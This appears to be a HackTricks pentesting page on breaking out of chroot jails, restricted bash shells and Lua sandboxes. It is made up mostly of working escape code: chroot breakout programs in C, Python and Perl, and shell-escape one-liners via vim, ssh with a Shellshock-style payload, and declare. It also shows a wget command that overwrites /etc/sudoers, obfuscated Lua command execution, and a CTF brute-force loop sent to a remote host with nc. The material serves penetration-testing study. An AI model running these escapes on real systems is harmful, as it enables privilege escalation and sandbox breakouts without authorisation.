hacktricks/linux-unix/privilege-escalation/escaping-from-limited-bash.md

Escaping from Jails

GTFOBins

Search in https://gtfobins.github.io/ if you can execute any binary with "Shell" property

Chroot limitation

From wikipedia: The chroot mechanism is** not intended to defend** against intentional tampering by **privileged **(root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.

Therefore, if you are **root **inside a chroot you **can escape **creating another chroot. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:

{% code title="break_chroot.c" %}

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

{% endcode %}

Using python:

#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
    os.chdir("..")
os.chroot(".")
os.system("/bin/bash")

Using perl:

#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
    chdir ".."
}
chroot ".";
system("/bin/bash");

Bash Jails

Enumeration

Get info about the jail:

echo $SHELL
echo $PATH
env
export
pwd

Modify PATH

Check if you can modify the PATH env variable

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Using vim

:set shell=/bin/sh
:shell

Create script

Check if you can create an executable file with /bin/bash as content

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Get bash from SSH

If you are accessing via ssh you can use this trick to execute a bash shell:

ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Declare

declare -n PATH; export PATH=/bin;bash -i
 
BASH_CMDS[shell]=/bin/bash;shell -i

Wget

You can overwrite for example sudoers file

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Other tricks

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells
https://gtfobins.github.io
It could also be interesting the page:

{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Python Jails

Tricks about escaping from python jails in the following page:

{% content-ref url="../../misc/basic-python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Lua Jails

In this page you can find the global functions you have access to inside lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base

Eval with command execution:

load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

Some tricks to call functions of a library without using dots:

print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))

Enumerate functions of a library:

for k,v in pairs(string) do print(k,v) end

Note that every time you execute the previous one liner in a different lua environment the order of the functions change. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:

#In this scenario you could BF the victim that is generating a new lua environment 
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done

Get interactive lua shell: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:

debug.debug()